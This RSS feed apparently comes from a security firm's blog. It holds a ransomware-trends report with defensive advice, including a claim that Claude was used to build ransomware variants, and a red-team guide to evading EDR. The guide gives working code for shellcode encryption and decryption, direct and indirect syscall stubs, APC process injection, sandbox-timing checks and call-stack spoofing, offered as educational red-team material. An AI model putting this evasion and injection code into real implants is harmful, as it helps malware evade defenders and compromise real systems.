<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Revolutional Labs - Medium]]></title>
        <description><![CDATA[Revolutional Labs (formerly Maveris Labs prior to 2026) is a channel for our technical subject matter experts across disciplines to share their knowledge, analysis, and insights. Learn more about Revolutional: http://revolutional.com/ - Medium]]></description>
        <link>https://medium.com/revolutionallabs?source=rss----f30c6fcdbcbc---4</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>Revolutional Labs - Medium</title>
            <link>https://medium.com/revolutionallabs?source=rss----f30c6fcdbcbc---4</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 23:45:48 GMT</lastBuildDate>
        <atom:link href="https://medium.com/feed/revolutionallabs" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Ransomware Unleashed: Insight into the 2025 Threat Surge]]></title>
            <link>https://medium.com/revolutionallabs/ransomware-unleashed-insight-into-the-2025-threat-surge-ffdd3e4c602b?source=rss----f30c6fcdbcbc---4</link>
            <guid isPermaLink="false">https://medium.com/p/ffdd3e4c602b</guid>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ransomware]]></category>
            <dc:creator><![CDATA[Peter Harris]]></dc:creator>
            <pubDate>Mon, 20 Oct 2025 12:02:00 GMT</pubDate>
            <atom:updated>2026-11-19T17:43:36.165Z</atom:updated>
            <content:encoded><![CDATA[<p>In the ever-evolving cybercrime landscape of cybersecurity threats, ransomware is still among the most fruitful and lucrative forms of cyberattack. Within the U.S. alone incident numbers have increased by 149% year-over-year and continue to surge. Globally, estimates report damages could reach $57 billion this year, emphasizing the increasing economic impact of these attacks. From January 2022 to February 2024, 59% of worldwide organizations were impacted by ransomware, a trend that has only intensified.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/532/1*MehtUi9wfTME3MrSZn10OA.jpeg" /></figure><h3>Current State</h3><p>Historically, ransomware groups have often adopted their playbooks from more sophisticated threat actors rather than pioneering new tactics. Consequently, their TTPs frequently overlap with those of other attackers. However, in 2025, these groups are refining their methods to accelerate compromises and better evade detection. Initial access often exploits vulnerabilities in edge devices like Virtual Private Networks (VPNs) and firewalls or, more commonly, use stolen credentials from dark web markets. After an adversary gains initial access, legitimate tools such as PowerShell and Remote Desktop Protocol (RDP) are used for lateral movement, with average breakout times now down to 48 minutes, and as little as 51 seconds in some extreme cases.</p><p>Social engineering has advanced, with techniques like ClickFix, which preys on a user’s desire to resolve their own problems, impersonating IT tools to trick users into executing malicious scripts. Groups such as Interlock have employed this in campaigns, while others use phishing, credential theft, and brute-force attacks on VPNs and RDP. Evasion tactics include bring-your-own-installer (BYOI) for disabling endpoint detection and response (EDR) systems, just-in-time (JIT) hooking, and memory injection to deploy custom payloads stealthily. Qilin, a cybercrime group focusing on ransomware, uses automated tooling for privilege escalation and custom .NET loaders like NETXLOADER. Malware-free techniques now comprise 79% of detections. Actors are more often utilizing “living-off-the-land” tactics with tools like AnyDesk for persistence and GC2, an open-source tool which allows an attacker to execute commands on target machines through Google Sheets or Microsoft SharePoint. Attackers then use these tools to list and exfiltrate files through Google Drive or Microsoft SharePoint documents, for command-and-control (C2). In addition, it has been reported by CrowdStrike that 73 of the 161 vulnerabilities exploited in the first half of 2025 were linked to ransomware installations.</p><h3>AI Integration</h3><p>Ransomware attacks surged 70% in the first half of 2025 compared to prior years, with AI being cited as a key enabler in many cases. Threat actors have been successfully using AI to significantly improve their social engineering attacks by automating the crafting of more realistic email (phishing), SMS (smishing) and voice phishing (vishing) campaigns. AI is being used to automate full campaigns by building imitation profiles and websites for social engineering, boosting the quantity, effectiveness, and impact of their attacks. AI chatbots are being used for ransomware negotiations as victims are being redirected to these chatbots to haggle over payments. Claude, an AI assistant by Anthropic, has been used to generate ransomware variants by assisting in coding advanced features for evasion techniques. One technique used was to allow Akira’s Rust-based variant incorporating generative AI to mutate payloads in real time to evade endpoint detection. Overall trends are seeing AI integrated into every stage of ransomware attacks, from initial access (phishing/vuln scanning), execution (code gen), and extortion (negotiations/data analysis). By Q3 2025, 80% of attacks involved AI, per <a href="https://mitsloan.mit.edu/ideas-made-to-matter/80-ransomware-attacks-now-use-artificial-intelligence">MIT Sloan research</a>, with projections of $265B in global damages by 2031.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bQw8zqfx-y0BLGUxWMaySg.jpeg" /></figure><h3>Increased Extortion</h3><p>Although paying cyber criminals was never the preferred method of recovering from an attack, for many years a proven trend was that if you did pay, the criminals would return your data, provide working decryption keys and not publicize or share your data. Those days are long gone. Beyond encryption and data theft, 2025 has seen an increase in the “Third Wave” of extortion, where attackers disrupt business in 86% of cases by wiping backups, launching DDoS attacks, harassing executives, and filing false complaints. Double extortion remains the new standard, with groups like SafePay building on leaked code from prior operations. Geopolitical elements are emerging, as seen with North Korea’s Moonstone Sleet adopting Russian based Qilin ransomware tools.</p><h3>Conclusion</h3><p>Outlined above is a high-level breakdown of the current trends and tactics that are being reported on currently. Listed below is a further breakdown of those reported trends with solutions that can be implemented or improved on within your organization to improve your security posture and resilience to these common ransomware TTPs.</p><blockquote><strong>Reported Trend:</strong> <a href="https://news.sophos.com/en-us/2025/04/16/the-sophos-annual-threat-report-cybercrime-on-main-street-2025/">Sophos 2025</a> report identified 63% of successful attacks stemmed from unpatched systems.</blockquote><blockquote><strong>Solution: </strong>Proactive Vulnerability Management. Simply patching edge devices like firewalls, VPNs, and other exposed systems.</blockquote><blockquote><strong>Reported Trend:</strong> <a href="https://www.acronis.com/en/resource-center/resource/acronis-cyberthreats-report-h1-2025/">Acronis</a> has reported that 85% of organizations with <strong>tested</strong>, immutable backups were able to avoid paying ransom.</blockquote><blockquote><strong>Solution:</strong> Follow the 3–2–1 rule for backups: 3 copies, 2 different media, 1 offsite or air gapped location. Test and restore backups quarterly.</blockquote><blockquote><strong>Reported Trend:</strong> <a href="https://www.cisa.gov/news-events/cybersecurity-advisories">CISA</a> has reported that there are 40% fewer successful, undetected lateral movement by threat actors in environments that have adopted comprehensive zero trust architectures.</blockquote><blockquote><strong>Solution: </strong>Adopt Zero Trust architecture: Enforce least-privilege access and multi-factor authentication on <strong>ALL</strong> systems. Micro-segment critical systems, ICS, and IoT.</blockquote><blockquote><strong>Reported Trend:</strong> <a href="https://www.crowdstrike.com/en-us/global-threat-report/">CrowdStrike’s 2025</a> report credits threat hunting with a 35% reduction in dwell time.</blockquote><blockquote><strong>Solution:</strong> Conduct persistent threat hunting to identify pre-ransom IoCs. Develop, update, and test incident response plans annually.</blockquote><blockquote><strong>Reported Trend:</strong> CISA 2025 statistics showed that organizations that were collecting and part of intelligence-sharing networks saw a 25% lower attack rate.</blockquote><blockquote><strong>Solution: </strong>Join information sharing and threat analysis groups (ex. <a href="https://www.cisa.gov/topics/partnerships-and-collaboration/joint-cyber-defense-collaborative">CISAs Joint Cyber Defense Collaborative</a>). Leverage government advisories to stay current with evolving threats and TTPs. Invest in threat intelligence staff and/or platforms.</blockquote><blockquote><strong>Reported Trend:</strong> The cybersecurity company ESET noted a 50% drop in phishing click rates with AI-assisted training programs.</blockquote><blockquote><strong>Solution:</strong> Conduct regular AI generated phishing and vishing training emulating real threat examples. Implement real AI-driven email gateways that detect anomalies and sender behaviors.</blockquote><p>To combat these trends, organizations must prioritize and invest in the solutions outlined above. Unfortunately, there is no one solution that will cover all attack scenarios and the criminals will evolve requiring the solutions to constantly evolve. What works today will not necessarily protect you tomorrow. Continuous defense innovation is essential against AI-driven threats and rapid breakout times. As ransomware evolves, staying informed through reports like those from CISA, FBI, Sophos, Rapid7, and CrowdStrike will be crucial for building resilient strategies.</p><p>In conclusion, 2025 has solidified ransomware as a highly adaptable threat, overlaying technology, opportunism, and business-like efficiency. By understanding these trends and TTPs, defenders can better predict, adapt, and respond to the next wave of attacks.</p><p><a href="https://revolutional.com/"><em>Revolutional</em></a><em> specializes in AI and data science, cybersecurity, cloud and infrastructure, and modernization expertise and solutions for federal government customers. Supported agency missions span civilian services, health, and national security. For the latest company news and job opportunities, follow us on </em><a href="https://www.linkedin.com/company/wearerevolutional"><em>LinkedIn</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ffdd3e4c602b" width="1" height="1" alt=""><hr><p><a href="https://medium.com/revolutionallabs/ransomware-unleashed-insight-into-the-2025-threat-surge-ffdd3e4c602b">Ransomware Unleashed: Insight into the 2025 Threat Surge</a> was originally published in <a href="https://medium.com/revolutionallabs">Revolutional Labs</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Evading the Watchful Eye: A Red Teamer’s Guide to EDR Bypass Techniques]]></title>
            <link>https://medium.com/revolutionallabs/evading-the-watchful-eye-a-red-teamers-guide-to-edr-bypass-techniques-e989a6f6c4ac?source=rss----f30c6fcdbcbc---4</link>
            <guid isPermaLink="false">https://medium.com/p/e989a6f6c4ac</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[antivirus-evasion]]></category>
            <category><![CDATA[edr-evasion]]></category>
            <dc:creator><![CDATA[Alexandre Kim]]></dc:creator>
            <pubDate>Mon, 06 Oct 2025 12:02:10 GMT</pubDate>
            <atom:updated>2026-11-20T20:54:47.673Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*asMml3YavSx8wP4fRS5nsg.png" /></figure><p>With the threat landscape evolving quickly, security software vendors have had to adapt in a number of ways. Antivirus solutions have failed to keep pace with new technologies and haven’t provided enough adequate protections to catch sophisticated attackers. The advancement in technologies has ushered in new security solutions identified as Endpoint Detection and Response (EDR) software. While each EDR solution has its own “secret sauce” when it comes to how it executes its defensive mechanisms, most operate through comparable methods. For example, many EDR software solutions have implemented techniques to include Userland Hooking, Memory Scanning, Static Detection, and Heuristic Detection. These techniques all operate in a similar manner from product to product, leading to software agnostic bypasses that are effective against a number of products.</p><p>This blog post covers some of the EDR evasion techniques I’ve found most useful while developing software for my current position as a Maveris Red Team Operator. It is written with the assumption that the reader has some knowledge of coding in both high and low level languages, and awareness of basic evasion components such as Position Independent Code (PIC). References to a “Dropper” or “Implant” refer to the software responsible for establishing C2 sessions or beacons.</p><p><strong>Encryption and IOCs</strong></p><p>We’ll begin by looking into how to make use of the PIC while evading static detection.</p><p>First, let’s look at the anatomy of our droppers. A typical vanilla dropper performs API calls for the following actions:</p><ul><li>The implant allocates writable memory for Shellcode..</li><li>The implant writes the Shellcode to the reserved memory</li><li>The implant sets protections on the memory region to options which look more benign(i.e. RX instead of WRX)</li><li>The implant executes the Shellcode</li></ul><p>There are many different API calls that can be used to carry this out, with some of the most basic being <em>VirtualAlloc</em>, <em>WriteProcessMemory</em>, <em>VirtualProtect</em> and <em>CreateThread</em>. These API calls perform the actions above with the PIC generated, but can’t utilize the PIC without falling victim to antivirus static detection. So how can we successfully utilize the PIC we generated within the implant?</p><p>By encrypting or obfuscating it, we can bypass static detection. There are an infinite number of ways to perform this encryption, and the more creative you get, the better. Typical methods include:</p><ul><li>Caesar Ciphers</li><li>XOR Key Encryption</li><li>AES Encryption</li></ul><p>These are all great options, if you make use of them in a non-conventional way. Alternating from byte to byte with Caesar Cipher/ XOR Key encryption is an example of an extension of common encryption methods that can be used to circumvent static detection. This python script below performs this by taking in raw PIC in a .bin format, and outputs a .c file with output you can utilize in your implant.</p><pre>import sys<br>import os<br><br>def alternate_encrypt(data, caesar_shifts, xor_keys):<br>    result = bytearray(data)<br>    for i in range(len(data)):<br>        if i % 2 == 0:  # Even indices: Caesar cipher<br>            shift = caesar_shifts[i % len(caesar_shifts)]<br>            result[i] = (data[i] + shift) % 256<br>        else:  # Odd indices: XOR<br>            key = xor_keys[i % len(xor_keys)]<br>            result[i] = data[i] ^ key<br>    return result<br><br>def format_for_c_string(data, var_name, bytes_per_line=16):<br>    output = f&quot;unsigned char {var_name}[] = \&quot;&quot;<br>    for i in range(len(data)):<br>        if i &gt; 0 and i % bytes_per_line == 0:<br>            output += &quot;\&quot;\n    \&quot;&quot;<br>        output += f&quot;\\x{data[i]:02x}&quot;<br>    output += &quot;\&quot;;&quot;<br>    return output<br><br>def main():<br>    if len(sys.argv) != 3:<br>        print(&quot;Usage: python encrypt_bin.py &lt;input.bin&gt; &lt;output.c&gt;&quot;)<br>        sys.exit(1)<br><br>    input_file = sys.argv[1]<br>    output_file = sys.argv[2]<br><br>    # Read input .bin file<br>    try:<br>        with open(input_file, &quot;rb&quot;) as f:<br>            data = bytearray(f.read())<br>    except FileNotFoundError:<br>        print(f&quot;Error: Input file &#39;{input_file}&#39; not found.&quot;)<br>        sys.exit(1)<br><br>    # Define encryption parameters<br>    caesar_shifts = [3, 7, 11]  # Alternating shifts for Caesar cipher<br>    xor_keys = [0x5A, 0x3C, 0x7F]  # XOR keys for multiple byte XOR<br><br>    # Apply encryption<br>    encrypted = alternate_encrypt(data, caesar_shifts, xor_keys)<br><br>    # Format as C string<br>    c_string = format_for_c_string(encrypted, &quot;encrypted_data&quot;)<br><br>    # Write to output .c file<br>    try:<br>        with open(output_file, &quot;w&quot;) as f:<br>            f.write(c_string)<br>        print(f&quot;Encrypted data written to &#39;{output_file}&#39;&quot;)<br>        print(f&quot;Encrypted data length: {len(encrypted)} bytes&quot;)<br>    except Exception as e:<br>        print(f&quot;Error writing output file: {e}&quot;)<br>        sys.exit(1)<br><br>if __name__ == &quot;__main__&quot;:<br>    main()</pre><p>AES encryption may also seem like a great option, but the libraries that perform AES encryption may be an IOC (Indicator of compromise) when loaded by your implant. To avoid this, a custom crypto implementation can be used to circumvent having to load crypto libraries. A great implementation of custom AES encryption, and how to implement it into your project can be found here: <a href="https://github.com/kokke/tiny-AES-c">https://github.com/kokke/tiny-AES-c</a></p><p>So now we’ll need to implement a decryption routine for the Shellcode, restoring it to its original contents, so that it properly executes when it reaches the CPU. Here is an example of how that decryption routine might look if we were to implement the encryption solution previously mentioned.</p><pre>void alternate_decrypt(unsigned char *data, size_t len, const int *caesar_shifts, size_t shifts_len, const unsigned char *xor_keys, size_t keys_len) {<br>   <br>    for (size_t i = 0; i &lt; len; i++) {<br>        if (i % 2 == 0) {  <br>            int shift = caesar_shifts[i % shifts_len];<br>            data[i] = (data[i] - shift + 256) % 256;<br>        } else {  <br>            unsigned char key = xor_keys[i % keys_len];<br>            data[i] ^= key;<br>        }<br>    }<br>}<br>unsigned char encrypted_data[] __attribute__((section(&quot;.text&quot;))) = &quot;\xff\x74\...f&quot;<br>const int caesar_shifts[] = {3, 7, 11};<br>const size_t shifts_len = 3;<br>const unsigned char xor_keys[] = {0x5A, 0x3C, 0x7F};<br>const size_t keys_len = 3;<br>size_t data_len = sizeof(encrypted_data) - 1<br><br>alternate_decrypt(encrypted_data, data_len, caesar_shifts, shifts_len, xor_keys, keys_len);</pre><p>This is an example of how the decryption routine might work for your encrypted Shellcode. You would simply need to replace \xff\x74… with the encrypted Shellcode generated by the python script.</p><p><strong>Payload Location — Unbacked Executable Memory</strong></p><p>Now you may be familiar with vanilla droppers and ask yourself what</p><pre> __attribute__((section(&quot;.text&quot;)))</pre><p>is doing to the code. If you’re well acquainted with the PE (Portable Executable) format, you will recognize the <em>.text</em> section. Essentially, <em>.text</em> is a section of an executable that contains the executable instructions. This may seem counter intuitive, since “text” in most contexts refers to something completely different, but with a little bit of digging into the structure of a PE file, you can validate this. In this example, we’ve written our Shellcode to the <em>.text</em> section of our implant to make the executable Shellcode look more organic to memory scanners. When you use <em>VirtualAlloc</em> or <em>VirtualAllocEx</em> to allocate memory for the Shellcode, the memory region is marked as private memory, and when marked as executable, it becomes a major IOC because it isn’t backed by a module on disk. Below are examples of Moneta and Process hacker showing these detections.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/0*Srq-bg3qgUYFKHlO" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/0*pKaR4xprs3tWTTQO" /></figure><p>While some memory scanners can detect that we’ve made modifications to the .text section as the Shellcode decrypts, a good number of EDR solutions may find it to be less conspicuous than private executable unbacked memory. This technique also avoids having to allocate memory, and instead, uses the <em>VirtualProtect</em> API to temporarily change permissions on a portion of the .text section so that the payload can be decrypted before reverting it back to its executable state.</p><p><strong>Userland Hooks</strong></p><p>As previously mentioned, API calls are made to perform operations within the implant. These Windows APIs call their corresponding lower level undocumented APIs within NTDLL.dll. In an effort to detect malicious use of these APIs, many EDR solutions hook the lower level APIs located in NTDLL.dll because it is the last stop the API calls make before calling into the kernel. These hooks are simply assembly opcodes, like JMP instructions, which redirect the code execution of the NTAPIs to code which performs an inspection of NTAPIs usage. This allows the EDR software to identify malicious usage of these APIs and mitigate risk through defensive action.</p><p>Since these hooks are all in userland, where we have read/write access to the memory, there are a number of ways we can get around them.</p><ul><li>We could load a completely new copy of NTDLL and have it overwrite the hooked copy.</li><li>We could unhook the APIs.</li><li>If we don’t want to interact with the filesystem, we can start a suspended process and copy the unhooked NTDLL from the process over our hooked DLL. This technique is known as “Peruns Fart” and is detailed in a number of repositories like this one: <a href="https://github.com/plackyhacker/Peruns-Fart.">https://github.com/plackyhacker/Peruns-Fart.</a></li><li>We can opt for usage of indirect and direct syscalls. When using direct syscalls, we use functions that make use of an assembly stub, purposed for loading the syscall number into the respective register, and then perform a syscall instruction. This calls directly into the kernel, rather than relying on the NTAPI in NTDLL.dll to execute its SYSCALL instruction. Below is an example of what the assembly stub would look like.</li></ul><pre>mov r10, rcx<br>mov eax, [wSystemCall]<br>syscall<br>ret</pre><ul><li>Indirect syscalls are similar, but rather than making a direct syscall in the assembly stub, we jump to the SYSCALL instruction in the NTDLL.dll that corresponds to our NTAPI call. As shown below, we can do this with a similar assembly stub.</li></ul><pre>EXTERN JMPADDR<br>...<br>mov r10, rcx<br>mov eax, [wSystemCall]<br>jmp [JMPADDR]<br>ret</pre><p>This looks more normal to the EDR as the SYSCALL instruction will have originated from an expected location. There is an amazing project called Syswhispers which greatly simplifies the process <a href="https://github.com/klezVirus/SysWhispers3">https://github.com/klezVirus/SysWhispers3</a></p><p>This brings us to the next problem. Syscall numbers change from version to version. Also, EDRs may make it harder to identify what syscall number corresponds to what NTAPI call, as they modify the code sections which make these calls into the kernel. However, not all functions in NTDLL are hooked, and the order in which these functions appear in memory parallels their syscall numbers, allowing us to data mine syscall numbers from neighboring API stubs. This technique can be seen in the Halo’s Gate project, which you can learn more about here: <a href="https://blog.sektor7.net/#!res/2021/halosgate.md">https://blog.sektor7.net/#!res/2021/halosgate.md</a>. In Halo’s Gate, memory is iteratively searched to locate a syscall stub, which is then used to identify the syscall number for a certain API call. If the function is hooked and no syscall number is found, it looks to neighboring functions until it finds one with a syscall number, then calculates the syscall number of the syscall we’re trying to use.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/482/0*IZ1ATsgIJoXjgIDM" /></figure><p>Once these syscall numbers are resolved, they can be loaded into the appropriate register before executing the SYSCALL instruction. This can be done either from your own assembly stub(Direct Syscall), or the SYSCALL instruction located in the normal execution path(Indirect Syscall). Identifying this SYSCALL instruction address can be as simple as making use of the code below. This code identifies the location of <em>NtCreateThreadEx</em> in NTDLL.dll, and adds an offset to it. The result corresponds to the SYSCALL assembly instruction of the API call:</p><pre>UINT_PTR pointerNtCreateThreadEx = (UINT_PTR)GetProcAddress(hNtdll, &quot;NtCreateThreadEx&quot;);<br>UINT_PTR syscallAddressNtCreateThreadEx = pointerNtCreateThreadEx + 0x12;<br>JMPADDR=syscallAddressNtCreateThreadEx;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/0*7ugkFU_f0T5KR0Pt" /></figure><p>Once this address is calculated, a simple jump to it after loading up the registers can perform the indirect syscall with the previously mentioned assembly stub.</p><p>Syswhispers also dynamically resolves these Syscall numbers, so using both techniques would be redundant.</p><p><strong>Process Injection</strong></p><p>Another technique that may prove useful is process injection. While kernel telemetry will identify that a remote thread from another process has been started, this could help our implant evade detections, as the hosting process may help C2 traffic and heuristics look more legitimate. Below is example code which spawns a suspended Notepad process, purposed for our shellcode injection. The keen eye may notice that non-Microsoft DLLs have been blocked from loading into the process. This may help in preventing EDR DLLs from being loaded into the process and may circumvent detections.</p><pre>PROCESS_INFORMATION pi = {};<br>STARTUPINFOEXA si = {};<br>SIZE_T attributeSize = 0;<br><br>            <br><br>InitializeProcThreadAttributeList(NULL, 1, 0, &amp;attributeSize);<br>       <br>PPROC_THREAD_ATTRIBUTE_LIST attributes = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, attributeSize);<br>DWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON; 0x100000000000;<br>UpdateProcThreadAttribute(attributes, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &amp;policy, sizeof(DWORD64), NULL, NULL);<br>            <br>si.lpAttributeList = attributes;<br>CreateProcessA((LPSTR)&quot;C:\\windows\\system32\\notepad.exe&quot;, NULL, NULL, NULL, EXTENDED_STARTUPINFO_PRESENT, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, &quot;C:\\Windows\\System32\\&quot;, &amp;si.StartupInfo, &amp;pi))</pre><p>We’ve chosen Notepad in this particular example, although some other host processes may better suit C2 implant purposes. For example, if your implant is using https, it may make more sense to inject into a browser process so that network monitors don’t think the traffic is anomalous. It is also important to keep in mind the architecture of the process. Injecting x64 shellcode into an x86 process will likely cause it to crash. Below is example code utilizing Syswhispers3 for calling the APIs.</p><pre>HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, attributes);<br><br>allocation_start = VirtualAllocExNuma(pi.hProcess, NULL, allocation_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, 0);<br>status = Sw3NtWriteVirtualMemory(pi.hProcess, allocation_start, (PVOID)shellcode, allocation_size, nullptr);<br>DWORD oldProtect;<br>status = Sw3NtProtectVirtualMemory(pi.hProcess, &amp;allocation_start, &amp;allocation_size, PAGE_EXECUTE_READ, &amp;oldProtect);<br><br>Sw3NtQueueApcThread(pi.hThread, (PKNORMAL_ROUTINE)allocation_start, NULL, NULL, NULL);<br>Sw3NtResumeThread(pi.hThread, 0);</pre><p><strong>Non-Emulated API</strong></p><p>You may have noticed that in the code above, we utilized <em>VirtualAllocExNuma</em> rather than utilizing Syswhispers and the common <em>VirtualAllocEx</em> API call. This is because <em>VirtualAllocExNuma</em> is a non-emulated API and may cause emulated execution to fail before our implant does its thing. The failure can be useful to evade detection, as detection solutions generally emulate the execution of a binary and look into its heuristics to determine whether it is doing anything malicious. More details can be found here: <a href="https://redfoxsecurity.medium.com/antivirus-evasion-26a30f072f76">https://redfoxsecurity.medium.com/antivirus-evasion-26a30f072f76</a></p><p><strong>Sleep Timers</strong></p><p>In addition to non-emulated APIs, you may see sleep timers used in malware with a conditional exit based on whether a certain time period has gone by. This is because emulation typically speeds through sleep functions so that the user experience isn’t impacted by the defensive mechanism. This allows us to use these timers as a litmus test to see whether the execution is being emulated for detection purposes, and if it is, we can cause the program to exit before malicious action is detected. This can be utilized in every programming language. Here is a C# example:</p><pre>DateTime t1 = DateTime.Now; <br>Sleep(2000); <br>double t2 = DateTime.Now.Subtract(t1).TotalSeconds; <br>if(t2 &lt; 1.5) <br> { <br>  return; <br> }</pre><p>More details about different ways to delay execution and their detections can be found here: <a href="https://www.malwation.com/blog/simplest-yet-most-common-and-effective-evasion-tactic-sleep">https://www.malwation.com/blog/simplest-yet-most-common-and-effective-evasion-tactic-sleep</a></p><p><strong>QueueApcThread</strong></p><p>Using <em>QueueApcThread</em> may be a better option than using the <em>CreateRemoteThread</em> API call. Both are now monitored by most EDR solutions, but <em>CreateRemoteThread</em> is the more obvious of the two. In our example code that utilized syswhispers and made API calls, we’ve spawned our Notepad process suspended, set a thread to to be executed, and then resumed the process. This should result in our Shellcode being executed, and render a beacon in the context of the hosting process. More details can be found here: <a href="https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection">https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection</a></p><p><strong>Call Stack Spoofing</strong></p><p>EDRs look at call stacks to determine if they look legitimate, and if they don’t, they take defensive action. Executing our implant can cause the execution on the call stack to look abnormal. For example, when our vanilla implant attempts to create a thread, the call stack shows values of executable memory that is unbacked by a module on disk. This is a major IOC, and would likely get detected by EDR software. As you can see below, the memory addresses below don’t align with normal execution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/0*heP2EQgDzEamDNJO" /></figure><p>It is worth noting that the entire stack is in userland, so we can modify it to look legitimate. To make the call stack look more organic, we can look into what a normal call stack looks like in a Notepad process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/0*0rv8a44VaNpICmPl" /></figure><p>Observing the contents in our debugger, we observe these call stack values on the stack</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/501/0*YYpDZuS4GOTkMbj8" /></figure><p>These look to be values we can mimic to make our call stack look legitimate. In order to do this, we begin by data mining function prologues and epilogues for stack size information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/0*fJTcv4pRQfaTk71P" /></figure><p>Having found the stack size, we now know where the return address resides on the stack. Overwriting this value will allow us to manually spoof our call stack. Below, you will see we have copied the previous entry’s address at an offset of 0x80, which is the value we data mined from the function prologue. This results in duplicate entries in the call stack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/504/0*ocEkDM9CKCgZ5Cvn" /></figure><p>We can utilize this technique to write values to return address locations which look innocuous, all in an effort to hide malicious code execution. Below, we see that we have spoofed our call stack and made it look like a normal call stack when executing our modified implant/dropper.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/0*6QSr2EcGuESMytWU" /></figure><p><strong>ROP Gadget</strong></p><p>We’ve made use of a ROP gadget to bounce our execution off of a legitimate module to further make our call stack look legitimate, and also utilized the fact that a 0 as a return address allows for omissions within the call stack entries.</p><p>As an example of how part of this method works under the hood, we will look at how this could be implemented.</p><p>First, we locate a ROP Gadget in a legitimate module. In our example, we found a call r12 gadget in NTDLL.dll</p><p>Next, we load the address of the function we intend to spoof into a register. In this example, we have passed this address as a parameter to our function so that it gets stored in the rcx register.</p><pre>mov r10, rcx</pre><p>Then we load the stack-and-register-restoring function that we intend on calling with our ROP gadget into a register.</p><pre>lea r12, Restore</pre><p>Now we write the address of a call r12 ROP gadget to the stack. In our example, we passed this address as a parameter to our function again, so it is located in the r8 register.</p><pre>mov [rsp], r8</pre><p>Next, after allocating some code to handle parameters, we jump to the intended spoofed function’s address</p><pre>jmp r10</pre><p>And when the spoofed function returns, it will look to the stack for our return value of our ROP gadget. Subsequently, this will run our Restore function and allow for the proper continuation of execution, along with a patched call stack.</p><pre>Restore:<br>  ← Restore registers and stack frame →<br>  ret</pre><p>This will cause an entry in the call stack to be that of our ROP gadget. Since this ROP gadget is located in a legitimate module, it will look organic in the call stack.</p><p>It is necessary to patch the stack, as previously done, to hide our nefarious intent. To locate the return addresses on the stack, we can look for UNWIND_CODEs in the .pdata section. Once this is done, we can manipulate the call stack to look benign and execute code to our liking. A great implementation on how to do this can be found in this project: <a href="https://github.com/WithSecureLabs/CallStackSpoofer">https://github.com/WithSecureLabs/CallStackSpoofer</a></p><p>Another good implementation using another gadget to stack spoof can be found here: <a href="https://github.com/susMdT/LoudSunRun">https://github.com/susMdT/LoudSunRun</a></p><p><strong>Summary</strong></p><p>It seems that AV/EDR evasion is a cat and mouse game, and both security researchers and threat actors constantly come up with new innovative ways to evade defenses. There are a seemingly countless number of variations to certain evasion techniques and developing detection mechanisms has become increasingly difficult to do without impacting legitimate usage of regular programs. To wrap things up, those are some of my favorite techniques for EDR evasion, and I hope this article has been to your liking. :)</p><p><a href="https://revolutional.com/"><em>Revolutional</em></a><em> specializes in AI and data science, cybersecurity, cloud and infrastructure, and modernization expertise and solutions for federal government customers. Supported agency missions span civilian services, health, and national security. For the latest company news and job opportunities, follow us on </em><a href="https://www.linkedin.com/company/wearerevolutional"><em>LinkedIn</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e989a6f6c4ac" width="1" height="1" alt=""><hr><p><a href="https://medium.com/revolutionallabs/evading-the-watchful-eye-a-red-teamers-guide-to-edr-bypass-techniques-e989a6f6c4ac">Evading the Watchful Eye: A Red Teamer’s Guide to EDR Bypass Techniques</a> was originally published in <a href="https://medium.com/revolutionallabs">Revolutional Labs</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hunting Malicious Shortcut (.LNK) Files Using the VirusTotal API]]></title>
            <link>https://medium.com/revolutionallabs/hunting-malicious-shortcut-lnk-files-using-the-virustotal-api-970d3799d5a5?source=rss----f30c6fcdbcbc---4</link>
            <guid isPermaLink="false">https://medium.com/p/970d3799d5a5</guid>
